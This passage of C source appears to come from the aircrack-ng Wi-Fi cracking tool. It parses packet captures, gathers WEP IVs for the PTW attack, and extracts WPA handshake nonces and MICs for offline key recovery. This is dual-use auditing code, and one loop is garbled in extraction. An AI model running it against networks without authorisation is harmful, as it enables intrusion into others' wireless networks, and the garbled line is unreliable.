) break; if(ivs2.flags & IVS2_BSSID) { while( ! atomic_read( &rb, fd, 6, bssid ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; ivs2.len -= 6; } while( ! atomic_read( &rb, fd, ivs2.len, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; } else { while( ! atomic_read( &rb, fd, sizeof( pkh ), &pkh ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); if( pkh.caplen <= 0 || pkh.caplen > 65535 ) { fprintf( stderr, "\nInvalid packet capture length %d - " "corrupted file?\n", pkh.caplen ); eof_wait( &eof_notified ); _exit( FAILURE ); } while( ! atomic_read( &rb, fd, pkh.caplen, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; h80211 = buffer; if( pfh.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else { n = *(int *)( h80211 + 4 ); if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } } /* prevent concurrent access on the linked list */ pthread_mutex_lock( &mx_apl ); nb_pkt++; if( fmt == FORMAT_CAP ) { /* skip packets smaller than a 802.11 header */ if( pkh.caplen < 24 ) goto unlock_mx_apl; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto unlock_mx_apl; /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } switch( h80211[1] & 3 ) { case 0: memcpy( dest, h80211 + 4, 6 ); break; //Adhoc case 1: memcpy( dest, h80211 + 16, 6 ); break; //ToDS case 2: memcpy( dest, h80211 + 4, 6 ); break; //FromDS case 3: memcpy( dest, h80211 + 16, 6 ); break; //WDS -> Transmitter taken as BSSID } //skip corrupted keystreams in wep decloak mode if(opt.wep_decloak) { if(dest[0] == 0x01) goto unlock_mx_apl; } } if(opt.bssidmerge) mergebssids(opt.bssidmerge, bssid); if( memcmp( bssid, BROADCAST, 6 ) == 0 ) /* probe request or such - skip the packet */ goto unlock_mx_apl; if( memcmp( bssid, opt.bssid, 6 ) != 0 ) goto unlock_mx_apl; if( memcmp( opt.maddr, ZERO, 6 ) != 0 && memcmp( opt.maddr, BROADCAST, 6 ) != 0 ) { /* apply the MAC filter */ if( memcmp( opt.maddr, h80211 + 4, 6 ) != 0 && memcmp( opt.maddr, h80211 + 10, 6 ) != 0 && memcmp( opt.maddr, h80211 + 16, 6 ) != 0 ) goto unlock_mx_apl; } /* search the linked list */ ap_prv = NULL; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); break; } memset( ap_cur, 0, sizeof( struct AP_info ) ); if( ap_1st == NULL ) ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); ap_cur->crypt = -1; if (opt.do_ptw == 1) { ap_cur->ptw_clean = PTW_newattackstate(); if (!ap_cur->ptw_clean) { perror("PTW_newattackstate()"); free(ap_cur); ap_cur = NULL; break; } ap_cur->ptw_vague = PTW_newattackstate(); if (!ap_cur->ptw_vague) { perror("PTW_newattackstate()"); free(ap_cur); ap_cur = NULL; break; } } } if( fmt == FORMAT_IVS ) { ap_cur->crypt = 2; add_wep_iv: /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { /* add the IV & first two encrypted bytes */ n = ap_cur->nb_ivs * 5; if( n + 5 > ap_cur->ivbuf_size ) { /* enlarge the IVs buffer */ ap_cur->ivbuf_size += 131072; ap_cur->ivbuf = (uchar *) realloc( ap_cur->ivbuf, ap_cur->ivbuf_size ); if( ap_cur->ivbuf == NULL ) { perror( "realloc failed" ); break; } } memcpy( ap_cur->ivbuf + n, buffer, 5 ); uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } goto unlock_mx_apl; } if( fmt == FORMAT_IVS2 ) { if(ivs2.flags & IVS2_ESSID) { memcpy( ap_cur->essid, buffer, ivs2.len); } else if(ivs2.flags & IVS2_XOR) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (clearsize < opt.keylen+3) goto unlock_mx_apl; if (PTW_addsession(ap_cur->ptw_clean, buffer, buffer+4, PTW_DEFAULTWEIGHT, 1)) ap_cur->nb_ivs_clean++; if (PTW_addsession(ap_cur->ptw_vague, buffer, buffer+4, PTW_DEFAULTWEIGHT, 1)) ap_cur->nb_ivs_vague++; goto unlock_mx_apl; } buffer[3] = buffer[4]; buffer[4] = buffer[5]; buffer[3] ^= 0xAA; buffer[4] ^= 0xAA; /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { /* add the IV & first two encrypted bytes */ n = ap_cur->nb_ivs * 5; if( n + 5 > ap_cur->ivbuf_size ) { /* enlarge the IVs buffer */ ap_cur->ivbuf_size += 131072; ap_cur->ivbuf = (uchar *) realloc( ap_cur->ivbuf, ap_cur->ivbuf_size ); if( ap_cur->ivbuf == NULL ) { perror( "realloc failed" ); break; } } memcpy( ap_cur->ivbuf + n, buffer, 5 ); uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; // all_ivs[256*256*buffer[0] + 256*buffer[1] + buffer[2]].used |= GOT_IV; } } else if(ivs2.flags & IVS2_PTW) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (buffer[5] < opt.keylen) goto unlock_mx_apl; if( clearsize < (6 + buffer[4]*32 + 16*(signed)sizeof(int)) ) goto unlock_mx_apl; memcpy(weight, buffer+clearsize-15*sizeof(int), 16*sizeof(int)); // printf("weight 1: %d, weight 2: %d\n", weight[0], weight[1]); if (PTW_addsession(ap_cur->ptw_vague, buffer, buffer+6, weight, buffer[4])) ap_cur->nb_ivs_vague++; goto unlock_mx_apl; } buffer[3] = buffer[6]; buffer[4] = buffer[7]; buffer[3] ^= 0xAA; buffer[4] ^= 0xAA; /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { /* add the IV & first two encrypted bytes */ n = ap_cur->nb_ivs * 5; if( n + 5 > ap_cur->ivbuf_size ) { /* enlarge the IVs buffer */ ap_cur->ivbuf_size += 131072; ap_cur->ivbuf = (uchar *) realloc( ap_cur->ivbuf, ap_cur->ivbuf_size ); if( ap_cur->ivbuf == NULL ) { perror( "realloc failed" ); break; } } memcpy( ap_cur->ivbuf + n, buffer, 5 ); uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } } else if(ivs2.flags & IVS2_WPA) { ap_cur->crypt = 3; memcpy( &ap_cur->wpa, buffer, sizeof( struct WPA_hdsk ) ); } goto unlock_mx_apl; } /* locate the station MAC in the 802.11 header */ st_cur = NULL; switch( h80211[1] & 3 ) { case 0: memcpy( stmac, h80211 + 10, 6 ); break; case 1: memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; break; } st_prv = NULL; st_cur = ap_cur->st_1st; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new supplicant, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); break; } memset( st_cur, 0, sizeof( struct ST_info ) ); if( ap_cur->st_1st == NULL ) ap_cur->st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); } skip_station: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( ap_cur->crypt < 0 ) ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4; p = h80211 + 36; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); } p += 2 + p[1]; } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 ) { p = h80211 + 28; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); } p += 2 + p[1]; } } /* packet parsing: Association Response */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL ) st_cur->wpa.state = 0; } /* check if data */ if( ( h80211[0] & 0x0C ) != 0x08 ) goto unlock_mx_apl; /* check minimum size */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) z+=2; /* 802.11e QoS */ if( z + 16 > (int) pkh.caplen ) goto unlock_mx_apl; /* check the SNAP header to see if data is encrypted */ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) { ap_cur->crypt = 2; /* encryption = WEP */ /* check the extended IV flag */ if( ( h80211[z + 3] & 0x20 ) != 0 ) /* encryption = WPA */ ap_cur->crypt = 3; /* check the WEP key index */ if( opt.index != 0 && ( h80211[z + 3] >> 6 ) != opt.index - 1 ) goto unlock_mx_apl; if (opt.do_ptw) { unsigned char *body = h80211 + z; int dlen = pkh.caplen - (body-h80211) - 4 -4; unsigned char clear[2048]; int clearsize, i, j, k; int weight[16]; if((h80211[1] & 0x03) == 0x03) //30byte header { body += 6; dlen -=6; } memset(weight, 0, sizeof(weight)); memset(clear, 0, sizeof(clear)); /* calculate keystream */ k = known_clear(clear, &clearsize, weight, h80211, dlen); if (clearsize < (opt.keylen+3)) goto unlock_mx_apl; for (j=0; jptw_clean, body, clear, weight, k)) ap_cur->nb_ivs_clean++; } if (PTW_addsession(ap_cur->ptw_vague, body, clear, weight, k)) ap_cur->nb_ivs_vague++; goto unlock_mx_apl; } /* save the IV & first two output bytes */ memcpy( buffer , h80211 + z , 3 ); memcpy( buffer + 3, h80211 + z + 4, 2 ); /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { buffer[3] = (buffer[3] ^ 0x42) ^ 0xAA; buffer[4] = (buffer[4] ^ 0x42) ^ 0xAA; } goto add_wep_iv; } if( ap_cur->crypt < 0 ) ap_cur->crypt = 0; /* no encryption */ /* if ethertype == IPv4, find the LAN address */ z += 6; if( z + 20 < (int) pkh.caplen ) { if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 14], 4 ); if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 16], 4 ); } /* check ethertype == EAPOL */ if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E ) goto unlock_mx_apl; z += 2; ap_cur->eapol = 1; /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */ if( h80211[z + 1] != 0x03 || ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) ) goto unlock_mx_apl; ap_cur->eapol = 0; ap_cur->crypt = 3; /* set WPA */ if( st_cur == NULL ) { pthread_mutex_unlock( &mx_apl ); continue; } /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); /* supplicant nonce set */ st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if ((int)pkh.len - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0) { // Ignore the packet trying to crash us. continue; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if ((int)pkh.len - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0) { // Ignore the packet trying to crash us. continue; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7 ) { /* got one valid handshake */ memcpy( st_cur->wpa.stmac, stmac, 6 ); memcpy( &ap_cur->wpa, &st_cur->wpa, sizeof( struct WPA_hdsk ) ); } unlock_mx_apl: pthread_mutex_unlock( &mx_apl ); if( ap_cur != NULL ) { if( ( ap_cur->nb_ivs >= opt.max_ivs) || ( ap_cur->nb_ivs_clean >= opt.max_ivs ) || ( ap_cur->nb_ivs_vague >= opt.max_ivs ) ) { eof_wait( &eof_notified ); return; } } } read_fail: if(rb.buf1 != NULL) { free(rb.buf1); rb.buf1=NULL; } if(rb.buf2 != NULL) { free(rb.buf2); rb.buf2=NULL; } if(buffer != NULL) { free(buffer); buffer=NULL; } if(close_aircrack) return; //everything is going down kill( 0, SIGTERM ); _exit( FAILURE ); } void check_thread( void *arg ) { int fd, n, z, fmt; read_buf rb; // int ret=0; uchar bssid[6]; uchar dest[6]; uchar stmac[6]; uchar *buffer; uchar *h80211; uchar *p; int weight[16]; struct ivs2_pkthdr ivs2; struct ivs2_filehdr fivs2; struct pcap_pkthdr pkh; struct pcap_file_header pfh; struct AP_info *ap_prv, *ap_cur; struct ST_info *st_prv, *st_cur; memset( &rb, 0, sizeof( rb ) ); ap_cur = NULL; if( ( buffer = (uchar *) malloc( 65536 ) ) == NULL ) { /* there is no buffer */ perror( "malloc failed" ); goto read_fail; } h80211 = buffer; if( ! opt.is_quiet ) printf( "Opening %s\n", (char *) arg ); if( strcmp( arg, "-" ) == 0 ) fd = 0; else { if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 ) { perror( "open failed" ); goto read_fail; } } if( ! atomic_read( &rb, fd, 4, &pfh ) ) { perror( "read(file header) failed" ); goto read_fail; } fmt = FORMAT_IVS; if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 && memcmp( &pfh, IVS2_MAGIC, 4 ) != 0) { fmt = FORMAT_CAP; if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "Unsupported file format " "(not a pcap or IVs file).\n" ); goto read_fail; } /* read the rest of the pcap file header */ if( ! atomic_read( &rb, fd, 20, (uchar *) &pfh + 4 ) ) { perror( "read(file header) failed" ); goto read_fail; } /* take care of endian issues and check the link type */ if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "This file is not a regular " "802.11 (wireless) capture.\n" ); goto read_fail; } } else { if( opt.wep_decloak ) { errx(1, "Can't use decloak wep mode with ivs\n"); /* XXX */ } if (memcmp( &pfh, IVS2_MAGIC, 4 ) == 0) { fmt = FORMAT_IVS2; if( ! atomic_read( &rb, fd, sizeof(struct ivs2_filehdr), (uchar *) &fivs2 ) ) { perror( "read(file header) failed" ); goto read_fail; } if(fivs2.version > IVS2_VERSION) { printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); goto read_fail; } } else if (opt.do_ptw) errx(1, "Can't do PTW with old IVS files, recapture without --ivs or use airodump-ng >= 1.0\n"); /* XXX */ } /* avoid blocking on reading the file */ if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); goto read_fail; } while( 1 ) { if(close_aircrack) break; if( fmt == FORMAT_IVS ) { /* read one IV */ while( ! atomic_read( &rb, fd, 1, buffer ) ) goto read_fail; if( buffer[0] != 0xFF ) { /* new access point MAC */ bssid[0] = buffer[0]; while( ! atomic_read( &rb, fd, 5, bssid + 1 ) ) goto read_fail; } while( ! atomic_read( &rb, fd, 5, buffer ) ) goto read_fail; } else if( fmt == FORMAT_IVS2 ) { while( ! atomic_read( &rb, fd, sizeof( struct ivs2_pkthdr ), &ivs2 ) ) goto read_fail; if(ivs2.flags & IVS2_BSSID) { while( ! atomic_read( &rb, fd, 6, bssid ) ) goto read_fail; ivs2.len -= 6; } while( ! atomic_read( &rb, fd, ivs2.len, buffer ) ) goto read_fail; } else { while( ! atomic_read( &rb, fd, sizeof( pkh ), &pkh ) ) goto read_fail; if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); if( pkh.caplen <= 0 || pkh.caplen > 65535 ) { fprintf( stderr, "\nInvalid packet capture length %d - " "corrupted file?\n", pkh.caplen ); goto read_fail; _exit( FAILURE ); } while( ! atomic_read( &rb, fd, pkh.caplen, buffer ) ) goto read_fail; h80211 = buffer; if( pfh.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else { n = *(int *)( h80211 + 4 ); if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a whole Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } } /* prevent concurrent access on the linked list */ pthread_mutex_lock( &mx_apl ); nb_pkt++; if( fmt == FORMAT_CAP ) { /* skip packets smaller than a 802.11 header */ if( pkh.caplen < 24 ) goto unlock_mx_apl; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto unlock_mx_apl; /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } switch( h80211[1] & 3 ) { case 0: memcpy( dest, h80211 + 4, 6 ); break; //Adhoc case 1: memcpy( dest, h80211 + 16, 6 ); break; //ToDS case 2: memcpy( dest, h80211 + 4, 6 ); break; //FromDS case 3: memcpy( dest, h80211 + 16, 6 ); break; //WDS -> Transmitter taken as BSSID } //skip corrupted keystreams in wep decloak mode if(opt.wep_decloak) { if(dest[0] == 0x01) goto unlock_mx_apl; } } if(opt.bssidmerge) mergebssids(opt.bssidmerge, bssid); if( memcmp( bssid, BROADCAST, 6 ) == 0 ) /* probe request or such - skip the packet */ goto unlock_mx_apl; if( memcmp( opt.maddr, ZERO, 6 ) != 0 && memcmp( opt.maddr, BROADCAST, 6 ) != 0 ) { /* apply the MAC filter */ if( memcmp( opt.maddr, h80211 + 4, 6 ) != 0 && memcmp( opt.maddr, h80211 + 10, 6 ) != 0 && memcmp( opt.maddr, h80211 + 16, 6 ) != 0 ) goto unlock_mx_apl; } /* search the linked list */ ap_prv = NULL; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); break; } memset( ap_cur, 0, sizeof( struct AP_info ) ); if( ap_1st == NULL ) ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); ap_cur->crypt = -1; } if( fmt == FORMAT_IVS ) { ap_cur->crypt = 2; add_wep_iv: /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } goto unlock_mx_apl; } if( fmt == FORMAT_IVS2 ) { if(ivs2.flags & IVS2_ESSID) { memcpy( ap_cur->essid, buffer, ivs2.len); if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) memcpy( opt.bssid, ap_cur->bssid, 6 ); } else if(ivs2.flags & IVS2_XOR) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (clearsize < opt.keylen+3) goto unlock_mx_apl; } if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } } else if(ivs2.flags & IVS2_PTW) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (buffer[5] < opt.keylen) goto unlock_mx_apl; if( clearsize < (6 + buffer[4]*32 + 16*(signed)sizeof(int)) ) goto unlock_mx_apl; } if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } } else if(ivs2.flags & IVS2_WPA) { ap_cur->crypt = 3; memcpy( &ap_cur->wpa, buffer, sizeof( struct WPA_hdsk ) ); } goto unlock_mx_apl; } /* locate the station MAC in the 802.11 header */ st_cur = NULL; switch( h80211[1] & 3 ) { case 0: memcpy( stmac, h80211 + 10, 6 ); break; case 1: memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; break; } st_prv = NULL; st_cur = ap_cur->st_1st; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new supplicant, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); break; } memset( st_cur, 0, sizeof( struct ST_info ) ); if( ap_cur->st_1st == NULL ) ap_cur->st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); } skip_station: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( ap_cur->crypt < 0 ) ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4; p = h80211 + 36; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) memcpy( opt.bssid, ap_cur->bssid, 6 ); } p += 2 + p[1]; } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 ) { p = h80211 + 28; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) memcpy( opt.bssid, ap_cur->bssid, 6 ); } p += 2 + p[1]; } /* reset the WPA handshake state */ if( st_cur != NULL ) st_cur->wpa.state = 0; } /* packet parsing: Association Response */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL ) st_cur->wpa.state = 0; } /* check if data */ if( ( h80211[0] & 0x0C ) != 0x08 ) goto unlock_mx_apl; /* check minimum size */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) z+=2; /* 802.11e QoS */ if( z + 16 > (int) pkh.caplen ) goto unlock_mx_apl; /* check the SNAP header to see if data is encrypted */ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) { ap_cur->crypt = 2; /* encryption = WEP */ /* check the extended IV flag */ if( ( h80211[z + 3] & 0x20 ) != 0 ) /* encryption = WPA */ ap_cur->crypt = 3; /* check the WEP key index */ if( opt.index != 0 && ( h80211[z + 3] >> 6 ) != opt.index - 1 ) goto unlock_mx_apl; if (opt.do_ptw) { unsigned char *body = h80211 + z; int dlen = pkh.caplen - (body-h80211) - 4 -4; unsigned char clear[2048]; int clearsize, k; if((h80211[1] & 0x03) == 0x03) //30byte header { body += 6; dlen -=6; } /* calculate keystream */ k = known_clear(clear, &clearsize, weight, h80211, dlen); if (clearsize < (opt.keylen+3)) goto unlock_mx_apl; } /* save the IV & first two output bytes */ memcpy( buffer , h80211 + z , 3 ); goto add_wep_iv; } if( ap_cur->crypt < 0 ) ap_cur->crypt = 0; /* no encryption */ /* if ethertype == IPv4, find the LAN address */ z += 6; if( z + 20 < (int) pkh.caplen ) { if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 14], 4 ); if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 16], 4 ); } /* check ethertype == EAPOL */ if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E ) goto unlock_mx_apl; z += 2; ap_cur->eapol = 1; /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */ if( h80211[z + 1] != 0x03 || ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) ) goto unlock_mx_apl; ap_cur->eapol = 0; ap_cur->crypt = 3; /* set WPA */ if( st_cur == NULL ) { pthread_mutex_unlock( &mx_apl ); continue; } /* frame 1: Pairwise == 1, Install == 0, Ack == 